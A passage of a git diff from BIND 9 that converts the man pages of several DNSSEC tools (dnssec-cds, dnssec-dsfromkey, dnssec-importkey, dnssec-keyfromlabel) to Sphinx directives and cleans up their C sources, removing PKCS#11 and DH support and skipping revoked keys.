+   There must be no space between the :option:`-i` and the extension. If
    no extension is provided, the old ``dsset-`` is discarded. If an
    extension is present, a backup of the old ``dsset-`` file is kept
    with the extension appended to its filename.
@@ -130,7 +133,8 @@ Options
    child records, provided that it is later than the file's current
    modification time.
 
-``-s start-time``
+.. option:: -s start-time
+
    This option specifies the date and time after which RRSIG records become
    acceptable. This can be either an absolute or a relative time. An
    absolute start time is indicated by a number in YYYYMMDDHHMMSS
@@ -142,24 +146,28 @@ Options
    If no start-time is specified, the modification time of the
    ``dsset-`` file is used.
 
-``-T ttl``
+.. option:: -T ttl
+
    This option specifies a TTL to be used for new DS records. If not specified, the
    default is the TTL of the old DS records. If they had no explicit TTL,
    the new DS records also have no explicit TTL.
 
-``-u``
-   This option writes an ``nsupdate`` script to the standard output, instead of
+.. option:: -u
+
+   This option writes an :iscman:`nsupdate` script to the standard output, instead of
    printing the new DS reords. The output is empty if no change is
    needed.
 
    Note: The TTL of new records needs to be specified: it can be done in the
-   original ``dsset-`` file, with the ``-T`` option, or using the
-   ``nsupdate`` ``ttl`` command.
+   original ``dsset-`` file, with the :option:`-T` option, or using the
+   :iscman:`nsupdate` ``ttl`` command.
+
+.. option:: -V
 
-``-V``
    This option prints version information.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level. Level 1 is intended to be usefully verbose
    for general users; higher levels are intended for developers.
 
@@ -169,7 +177,7 @@ Options
 Exit Status
 ~~~~~~~~~~~
 
-The ``dnssec-cds`` command exits 0 on success, or non-zero if an error
+The :program:`dnssec-cds` command exits 0 on success, or non-zero if an error
 occurred.
 
 If successful, the DS records may or may not need to be
@@ -178,12 +186,12 @@ changed.
 Examples
 ~~~~~~~~
 
-Before running ``dnssec-signzone``, ensure that the delegations
-are up-to-date by running ``dnssec-cds`` on every ``dsset-`` file.
+Before running :iscman:`dnssec-signzone`, ensure that the delegations
+are up-to-date by running :program:`dnssec-cds` on every ``dsset-`` file.
 
-To fetch the child records required by ``dnssec-cds``, invoke
-``dig`` as in the script below. It is acceptable if the ``dig`` fails, since
-``dnssec-cds`` performs all the necessary checking.
+To fetch the child records required by :program:`dnssec-cds`, invoke
+:iscman:`dig` as in the script below. It is acceptable if the :iscman:`dig` fails, since
+:program:`dnssec-cds` performs all the necessary checking.
 
 ::
 
@@ -194,8 +202,8 @@ To fetch the child records required by ``dnssec-cds``, invoke
        dnssec-cds -i -f /dev/stdin -d $f $d
    done
 
-When the parent zone is automatically signed by ``named``,
-``dnssec-cds`` can be used with ``nsupdate`` to maintain a delegation as follows.
+When the parent zone is automatically signed by :iscman:`named`,
+:program:`dnssec-cds` can be used with :iscman:`nsupdate` to maintain a delegation as follows.
 The ``dsset-`` file allows the script to avoid having to fetch and
 validate the parent DS records, and it maintains the replay attack
 protection time.
@@ -209,5 +217,5 @@ protection time.
 See Also
 ~~~~~~~~
 
-:manpage:`dig(1)`, :manpage:`dnssec-settime(8)`, :manpage:`dnssec-signzone(8)`, :manpage:`nsupdate(1)`, BIND 9 Administrator
+:iscman:`dig(1) <dig>`, :iscman:`dnssec-settime(8) <dnssec-settime>`, :iscman:`dnssec-signzone(8) <dnssec-signzone>`, :iscman:`nsupdate(1) <nsupdate>`, BIND 9 Administrator
 Reference Manual, :rfc:`7344`.
diff --git a/bin/dnssec/dnssec-dsfromkey.c b/bin/dnssec/dnssec-dsfromkey.c
index 618ab03cdc..f8f221ff5a 100644
--- a/bin/dnssec/dnssec-dsfromkey.c
+++ b/bin/dnssec/dnssec-dsfromkey.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,9 +20,10 @@
 #include <isc/attributes.h>
 #include <isc/buffer.h>
 #include <isc/commandline.h>
+#include <isc/dir.h>
 #include <isc/hash.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -38,14 +41,9 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
 
 const char *program = "dnssec-dsfromkey";
@@ -263,6 +261,10 @@ emit(dns_dsdigest_t dt, bool showall, bool cds, dns_rdata_t *rdata) {
 		fatal("can't convert DNSKEY");
 	}
 
+	if ((dnskey.flags & DNS_KEYFLAG_REVOKE) != 0) {
+		return;
+	}
+
 	if ((dnskey.flags & DNS_KEYFLAG_KSK) == 0 && !showall) {
 		return;
 	}
@@ -272,7 +274,7 @@ emit(dns_dsdigest_t dt, bool showall, bool cds, dns_rdata_t *rdata) {
 		fatal("can't build record");
 	}
 
-	result = dns_name_totext(name, false, &nameb);
+	result = dns_name_totext(name, 0, &nameb);
 	if (result != ISC_R_SUCCESS) {
 		fatal("can't print name");
 	}
@@ -311,7 +313,7 @@ emit(dns_dsdigest_t dt, bool showall, bool cds, dns_rdata_t *rdata) {
 
 static void
 emits(bool showall, bool cds, dns_rdata_t *rdata) {
-	unsigned i, n;
+	unsigned int i, n;
 
 	n = sizeof(dtype) / sizeof(dtype[0]);
 	for (i = 0; i < n; i++) {
@@ -321,7 +323,7 @@ emits(bool showall, bool cds, dns_rdata_t *rdata) {
 	}
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -376,11 +378,6 @@ main(int argc, char **argv) {
 
 	isc_mem_create(&mctx);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
 #define OPTIONS "12Aa:Cc:d:Ff:K:l:sT:v:hV"
@@ -436,14 +433,14 @@ main(int argc, char **argv) {
 			}
 			break;
 		case 'F':
-		/* Reserved for FIPS mode */
-		/* FALLTHROUGH */
+			/* Reserved for FIPS mode */
+			FALLTHROUGH;
 		case '?':
 			if (isc_commandline_option != '?') {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
diff --git a/bin/dnssec/dnssec-dsfromkey.rst b/bin/dnssec/dnssec-dsfromkey.rst
index 35d62c0bcb..9ca025a319 100644
--- a/bin/dnssec/dnssec-dsfromkey.rst
+++ b/bin/dnssec/dnssec-dsfromkey.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-dsfromkey
+.. program:: dnssec-dsfromkey
 .. _man_dnssec-dsfromkey:
 
 dnssec-dsfromkey - DNSSEC DS RR generation tool
@@ -40,30 +32,37 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-The ``dnssec-dsfromkey`` command outputs DS (Delegation Signer) resource records
-(RRs), or CDS (Child DS) RRs with the ``-C`` option.
+The :program:`dnssec-dsfromkey` command outputs DS (Delegation Signer) resource records
+(RRs), or CDS (Child DS) RRs with the :option:`-C` option.
+
+By default, only KSKs are converted (keys with flags = 257).  The
+:option:`-A` option includes ZSKs (flags = 256).  Revoked keys are never
+included.
 
 The input keys can be specified in a number of ways:
 
-By default, ``dnssec-dsfromkey`` reads a key file named in the format
-``Knnnn.+aaa+iiiii.key``, as generated by ``dnssec-keygen``.
+By default, :program:`dnssec-dsfromkey` reads a key file named in the format
+``Knnnn.+aaa+iiiii.key``, as generated by :iscman:`dnssec-keygen`.
 
-With the ``-f file`` option, ``dnssec-dsfromkey`` reads keys from a zone
+With the :option:`-f file <-f>` option, :program:`dnssec-dsfromkey` reads keys from a zone
 file or partial zone file (which can contain just the DNSKEY records).
 
-With the ``-s`` option, ``dnssec-dsfromkey`` reads a ``keyset-`` file,
-as generated by ``dnssec-keygen`` ``-C``.
+With the :option:`-s` option, :program:`dnssec-dsfromkey` reads a ``keyset-`` file,
+as generated by :iscman:`dnssec-keygen` :option:`-C`.
 
 Options
 ~~~~~~~
 
-``-1``
-   This option is an abbreviation for ``-a SHA1``.
+.. option:: -1
+
+   This option is an abbreviation for :option:`-a SHA1 <-a>`.
+
+.. option:: -2
+
+   This option is an abbreviation for :option:`-a SHA-256 <-a>`.
 
-``-2``
-   This option is an abbreviation for ``-a SHA-256``.
+.. option:: -a algorithm
 
-``-a algorithm``
    This option specifies a digest algorithm to use when converting DNSKEY records to
    DS records. This option can be repeated, so that multiple DS records
    are created for each DNSKEY record.
@@ -72,47 +71,57 @@ Options
    are case-insensitive, and the hyphen may be omitted. If no algorithm
    is specified, the default is SHA-256.
 
-``-A``
+.. option:: -A
+
    This option indicates that ZSKs are to be included when generating DS records. Without this option, only
    keys which have the KSK flag set are converted to DS records and
-   printed. This option is only useful in ``-f`` zone file mode.
+   printed. This option is only useful in :option:`-f` zone file mode.
+
+.. option:: -c class
+
+   This option specifies the DNS class; the default is IN. This option is only useful in :option:`-s` keyset
+   or :option:`-f` zone file mode.
 
-``-c class``
-   This option specifies the DNS class; the default is IN. This option is only useful in ``-s`` keyset
-   or ``-f`` zone file mode.
+.. option:: -C
 
-``-C``
    This option generates CDS records rather than DS records.
 
-``-f file``
-   This option sets zone file mode, in which the final dnsname argument of ``dnssec-dsfromkey`` is the
+.. option:: -f file
+
+   This option sets zone file mode, in which the final dnsname argument of :program:`dnssec-dsfromkey` is the
    DNS domain name of a zone whose master file can be read from
    ``file``. If the zone name is the same as ``file``, then it may be
    omitted.
 
    If ``file`` is ``-``, then the zone data is read from the standard
-   input. This makes it possible to use the output of the ``dig``
+   input. This makes it possible to use the output of the :iscman:`dig`
    command as input, as in:
 
    ``dig dnskey example.com | dnssec-dsfromkey -f - example.com``
 
-``-h``
+.. option:: -h
+
    This option prints usage information.
 
-``-K directory``
+.. option:: -K directory
+
    This option tells BIND 9 to look for key files or ``keyset-`` files in ``directory``.
 
-``-s``
-   This option enables keyset mode, in which the final dnsname argument from ``dnssec-dsfromkey`` is the DNS
+.. option:: -s
+
+   This option enables keyset mode, in which the final dnsname argument from :program:`dnssec-dsfromkey` is the DNS
    domain name used to locate a ``keyset-`` file.
 
-``-T TTL``
+.. option:: -T TTL
+
    This option specifies the TTL of the DS records. By default the TTL is omitted.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
 Example
@@ -132,7 +141,7 @@ Files
 
 The keyfile can be designated by the key identification
 ``Knnnn.+aaa+iiiii`` or the full file name ``Knnnn.+aaa+iiiii.key``, as
-generated by ``dnssec-keygen``.
+generated by :iscman:`dnssec-keygen`.
 
 The keyset file name is built from the ``directory``, the string
 ``keyset-``, and the ``dnsname``.
@@ -145,6 +154,6 @@ A keyfile error may return "file not found," even if the file exists.
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-keygen(8)`, :manpage:`dnssec-signzone(8)`, BIND 9 Administrator Reference Manual,
+:iscman:`dnssec-keygen(8) <dnssec-keygen>`, :iscman:`dnssec-signzone(8) <dnssec-signzone>`, BIND 9 Administrator Reference Manual,
 :rfc:`3658` (DS RRs), :rfc:`4509` (SHA-256 for DS RRs),
 :rfc:`6605` (SHA-384 for DS RRs), :rfc:`7344` (CDS and CDNSKEY RRs).
diff --git a/bin/dnssec/dnssec-importkey.c b/bin/dnssec/dnssec-importkey.c
index 77ef407717..df01289e19 100644
--- a/bin/dnssec/dnssec-importkey.c
+++ b/bin/dnssec/dnssec-importkey.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,7 +21,7 @@
 #include <isc/commandline.h>
 #include <isc/hash.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -37,14 +39,9 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
 
 const char *program = "dnssec-importkey";
@@ -265,7 +262,7 @@ emit(const char *dir, dns_rdata_t *rdata) {
 	dst_key_free(&key);
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -305,10 +302,9 @@ main(int argc, char **argv) {
 	isc_log_t *log = NULL;
 	dns_rdataset_t rdataset;
 	dns_rdata_t rdata;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	dns_rdata_init(&rdata);
-	isc_stdtime_get(&now);
 
 	if (argc == 1) {
 		usage();
@@ -316,11 +312,6 @@ main(int argc, char **argv) {
 
 	isc_mem_create(&mctx);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
 #define CMDLINE_FLAGS "D:f:hK:L:P:v:V"
@@ -392,7 +383,7 @@ main(int argc, char **argv) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
diff --git a/bin/dnssec/dnssec-importkey.rst b/bin/dnssec/dnssec-importkey.rst
index e6cfcdbc1a..8f6a6b3a11 100644
--- a/bin/dnssec/dnssec-importkey.rst
+++ b/bin/dnssec/dnssec-importkey.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-importkey
+.. program:: dnssec-importkey
 .. _man_dnssec-importkey:
 
 dnssec-importkey - import DNSKEY records from external systems so they can be managed
@@ -36,7 +28,7 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dnssec-importkey`` reads a public DNSKEY record and generates a pair
+:program:`dnssec-importkey` reads a public DNSKEY record and generates a pair
 of .key/.private files. The DNSKEY record may be read from an
 existing .key file, in which case a corresponding .private file is
 generated, or it may be read from any other file or from the standard
@@ -44,14 +36,15 @@ input, in which case both .key and .private files are generated.
 
 The newly created .private file does *not* contain private key data, and
 cannot be used for signing. However, having a .private file makes it
-possible to set publication (``-P``) and deletion (``-D``) times for the
+possible to set publication (:option:`-P`) and deletion (:option:`-D`) times for the
 key, which means the public key can be added to and removed from the
 DNSKEY RRset on schedule even if the true private key is stored offline.
 
 Options
 ~~~~~~~
 
-``-f filename``
+.. option:: -f filename
+
    This option indicates the zone file mode. Instead of a public keyfile name, the argument is the
    DNS domain name of a zone master file, which can be read from
    ``filename``. If the domain name is the same as ``filename``, then it may be
@@ -60,64 +53,90 @@ Options
    If ``filename`` is set to ``"-"``, then the zone data is read from the
    standard input.
 
-``-K directory``
+.. option:: -K directory
+
    This option sets the directory in which the key files are to reside.
 
-``-L ttl``
+.. option:: -L ttl
+
    This option sets the default TTL to use for this key when it is converted into a
    DNSKEY RR. This is the TTL used when the key is imported into a zone,
    unless there was already a DNSKEY RRset in
    place, in which case the existing TTL takes precedence. Setting the default TTL to ``0`` or ``none``
    removes it from the key.
 
-``-h``
+.. option:: -h
+
    This option emits a usage message and exits.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
 Timing Options
 ~~~~~~~~~~~~~~
 
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a ``+`` or ``-``, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes ``y``, ``mo``, ``w``, ``d``, ``h``, or ``mi``, then the offset is
-computed in years (defined as 365 24-hour days, ignoring leap years),
-months (defined as 30 24-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use ``none`` or ``never``.
+Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS.
+(which is the format used inside key files),
+or 'Day Mon DD HH:MM:SS YYYY' (as printed by ``dnssec-settime -p``),
+or UNIX epoch time (as printed by ``dnssec-settime -up``),
+or the literal ``now``.
+
+The argument can be followed by ``+`` or ``-`` and an offset from the
+given time. The literal ``now`` can be omitted before an offset. The
+offset can be followed by one of the suffixes ``y``, ``mo``, ``w``,
+``d``, ``h``, or ``mi``, so that it is computed in years (defined as
+365 24-hour days, ignoring leap years), months (defined as 30 24-hour
+days), weeks, days, hours, or minutes, respectively. Without a suffix,
+the offset is computed in seconds.
+
+To explicitly prevent a date from being set, use ``none``, ``never``,
+or ``unset``.
+
+All these formats are case-insensitive.
+
+.. option:: -P date/offset
 
-``-P date/offset``
    This option sets the date on which a key is to be published to the zone. After
    that date, the key is included in the zone but is not used
    to sign it.
 
-``-P sync date/offset``
-   This option sets the date on which CDS and CDNSKEY records that match this key
-   are to be published to the zone.
+   .. program:: dnssec-importkey -P
+   .. option:: sync date/offset
+
+      This option sets the date on which CDS and CDNSKEY records that match this key
+      are to be published to the zone.
+
+.. program:: dnssec-importkey
+
+.. option:: -D date/offset
 
-``-D date/offset``
    This option sets the date on which the key is to be deleted. After that date, the
    key is no longer included in the zone. (However, it may remain in the key
    repository.)
 
-``-D sync date/offset``
-   This option sets the date on which the CDS and CDNSKEY records that match this
-   key are to be deleted.
+   .. program:: dnssec-importkey -D
+   .. option:: sync date/offset
+
+      This option sets the date on which the CDS and CDNSKEY records that match this
+      key are to be deleted.
+
+.. program:: dnssec-importkey
+
 
 Files
 ~~~~~
 
 A keyfile can be designed by the key identification ``Knnnn.+aaa+iiiii``
 or the full file name ``Knnnn.+aaa+iiiii.key``, as generated by
-``dnssec-keygen``.
+:iscman:`dnssec-keygen`.
 
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-keygen(8)`, :manpage:`dnssec-signzone(8)`, BIND 9 Administrator Reference Manual,
+:iscman:`dnssec-keygen(8) <dnssec-keygen>`, :iscman:`dnssec-signzone(8) <dnssec-signzone>`, BIND 9 Administrator Reference Manual,
 :rfc:`5011`.
diff --git a/bin/dnssec/dnssec-keyfromlabel.c b/bin/dnssec/dnssec-keyfromlabel.c
index bb94c98a18..9837b54523 100644
--- a/bin/dnssec/dnssec-keyfromlabel.c
+++ b/bin/dnssec/dnssec-keyfromlabel.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,35 +22,28 @@
 #include <isc/buffer.h>
 #include <isc/commandline.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/dnssec.h>
 #include <dns/fixedname.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 #include <dns/name.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
 
 #define MAX_RSA 4096 /* should be long enough... */
 
 const char *program = "dnssec-keyfromlabel";
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -61,7 +56,7 @@ usage(void) {
 	fprintf(stderr, "    name: owner of the key\n");
 	fprintf(stderr, "Other options:\n");
 	fprintf(stderr, "    -a algorithm: \n"
-			"        DH | RSASHA1 |\n"
+			"        RSASHA1 |\n"
 			"        NSEC3RSASHA1 |\n"
 			"        RSASHA256 | RSASHA512 |\n"
 			"        ECDSAP256SHA256 | ECDSAP384SHA384 |\n"
@@ -69,14 +64,7 @@ usage(void) {
 	fprintf(stderr, "    -3: use NSEC3-capable algorithm\n");
 	fprintf(stderr, "    -c class (default: IN)\n");
 	fprintf(stderr, "    -E <engine>:\n");
-#if USE_PKCS11
-	fprintf(stderr,
-		"        path to PKCS#11 provider library "
-		"(default is %s)\n",
-		PK11_LIB_LOCATION);
-#else  /* if USE_PKCS11 */
 	fprintf(stderr, "        name of an OpenSSL engine to use\n");
-#endif /* if USE_PKCS11 */
 	fprintf(stderr, "    -f keyflag: KSK | REVOKE\n");
 	fprintf(stderr, "    -K directory: directory in which to place "
 			"key files\n");
@@ -147,7 +135,6 @@ main(int argc, char **argv) {
 	dns_ttl_t ttl = 0;
 	isc_stdtime_t publish = 0, activate = 0, revoke = 0;
 	isc_stdtime_t inactive = 0, deltime = 0;
-	isc_stdtime_t now;
 	int prepub = -1;
 	bool setpub = false, setact = false;
 	bool setrev = false, setinact = false;
@@ -163,6 +150,7 @@ main(int argc, char **argv) {
 	isc_stdtime_t syncadd = 0, syncdel = 0;
 	bool unsetsyncadd = false, setsyncadd = false;
 	bool unsetsyncdel = false, setsyncdel = false;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	if (argc == 1) {
 		usage();
@@ -170,15 +158,8 @@ main(int argc, char **argv) {
 
 	isc_mem_create(&mctx);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
-	isc_stdtime_get(&now);
-
 #define CMDLINE_FLAGS "3A:a:Cc:D:E:Ff:GhI:i:kK:L:l:n:P:p:R:S:t:v:Vy"
 	while ((ch = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
 		switch (ch) {
@@ -331,14 +312,14 @@ main(int argc, char **argv) {
 			prepub = strtottl(isc_commandline_argument);
 			break;
 		case 'F':
-		/* Reserved for FIPS mode */
-		/* FALLTHROUGH */
+			/* Reserved for FIPS mode */
+			FALLTHROUGH;
 		case '?':
 			if (isc_commandline_option != '?') {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
@@ -404,9 +385,6 @@ main(int argc, char **argv) {
 		if (ret != ISC_R_SUCCESS) {
 			fatal("unknown algorithm %s", algname);
 		}
-		if (alg == DST_ALG_DH) {
-			options |= DST_TYPE_KEY;
-		}
 
 		if (use_nsec3) {
 			switch (alg) {
@@ -575,7 +553,8 @@ main(int argc, char **argv) {
 		flags |= DNS_KEYOWNER_ZONE;
 	} else if ((options & DST_TYPE_KEY) != 0) { /* KEY */
 		if (strcasecmp(nametype, "host") == 0 ||
-		    strcasecmp(nametype, "entity") == 0) {
+		    strcasecmp(nametype, "entity") == 0)
+		{
 			flags |= DNS_KEYOWNER_ENTITY;
 		} else if (strcasecmp(nametype, "user") == 0) {
 			flags |= DNS_KEYOWNER_USER;
@@ -602,7 +581,8 @@ main(int argc, char **argv) {
 	if (protocol == -1) {
 		protocol = DNS_KEYPROTO_DNSSEC;
 	} else if ((options & DST_TYPE_KEY) == 0 &&
-		   protocol != DNS_KEYPROTO_DNSSEC) {
+		   protocol != DNS_KEYPROTO_DNSSEC)
+	{
 		fatal("invalid DNSKEY protocol: %d", protocol);
 	}
 
@@ -612,22 +592,10 @@ main(int argc, char **argv) {
 		}
 	}
 
-	if ((flags & DNS_KEYFLAG_OWNERMASK) == DNS_KEYOWNER_ZONE &&
-	    alg == DNS_KEYALG_DH)
-	{
-		fatal("a key with algorithm '%s' cannot be a zone key",
-		      algname);
-	}
-
 	isc_buffer_init(&buf, filename, sizeof(filename) - 1);
 
 	/* associate the key */
-	ret = dst_key_fromlabel(name, alg, flags, protocol, rdclass,
-#if USE_PKCS11
-				"pkcs11",
-#else  /* if USE_PKCS11 */
-				engine,
-#endif /* if USE_PKCS11 */
+	ret = dst_key_fromlabel(name, alg, flags, protocol, rdclass, engine,
 				label, NULL, mctx, &key);
 
 	if (ret != ISC_R_SUCCESS) {
@@ -637,7 +605,7 @@ main(int argc, char **argv) {
 		dns_secalg_format(alg, algstr, sizeof(algstr));
 		fatal("failed to get key %s/%s: %s", namestr, algstr,
 		      isc_result_totext(ret));
-		/* NOTREACHED */
+		UNREACHABLE();
 		exit(-1);
 	}
 
diff --git a/bin/dnssec/dnssec-keyfromlabel.rst b/bin/dnssec/dnssec-keyfromlabel.rst
index 86f03750ae..098feb9ecb 100644
--- a/bin/dnssec/dnssec-keyfromlabel.rst
+++ b/bin/dnssec/dnssec-keyfromlabel.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-keyfromlabel
+.. program:: dnssec-keyfromlabel
 .. _man_dnssec-keyfromlabel:
 
 dnssec-keyfromlabel - DNSSEC key generation tool
@@ -34,10 +26,10 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dnssec-keyfromlabel`` generates a pair of key files that reference a
+:program:`dnssec-keyfromlabel` generates a pair of key files that reference a
 key object stored in a cryptographic hardware service module (HSM). The
 private key file can be used for DNSSEC signing of zone data as if it
-were a conventional signing key created by ``dnssec-keygen``, but the
+were a conventional signing key created by :iscman:`dnssec-keygen`, but the
 key material is stored within the HSM and the actual signing takes
 place there.
 
@@ -47,43 +39,40 @@ match the name of the zone for which the key is being generated.
 Options
 ~~~~~~~
 
-``-a algorithm``
+.. option:: -a algorithm
+
    This option selects the cryptographic algorithm. The value of ``algorithm`` must
    be one of RSASHA1, NSEC3RSASHA1, RSASHA256, RSASHA512,
    ECDSAP256SHA256, ECDSAP384SHA384, ED25519, or ED448.
 
-   If no algorithm is specified, RSASHA1 is used by default
-   unless the ``-3`` option is specified, in which case NSEC3RSASHA1
-   is used instead. (If ``-3`` is used and an algorithm is
-   specified, that algorithm is checked for compatibility with
-   NSEC3.)
-
    These values are case-insensitive. In some cases, abbreviations are
    supported, such as ECDSA256 for ECDSAP256SHA256 and ECDSA384 for
-   ECDSAP384SHA384. If RSASHA1 is specified along with the ``-3``
+   ECDSAP384SHA384. If RSASHA1 is specified along with the :option:`-3`
    option, then NSEC3RSASHA1 is used instead.
 
-   Since BIND 9.12.0, this option is mandatory except when using the
-   ``-S`` option, which copies the algorithm from the predecessory key.
-   Previously, the default for newly generated keys was RSASHA1.
+   This option is mandatory except when using the
+   :option:`-S` option, which copies the algorithm from the predecessory key.
+
+   .. versionchanged:: 9.12.0
+      The default value RSASHA1 for newly generated keys was removed.
+
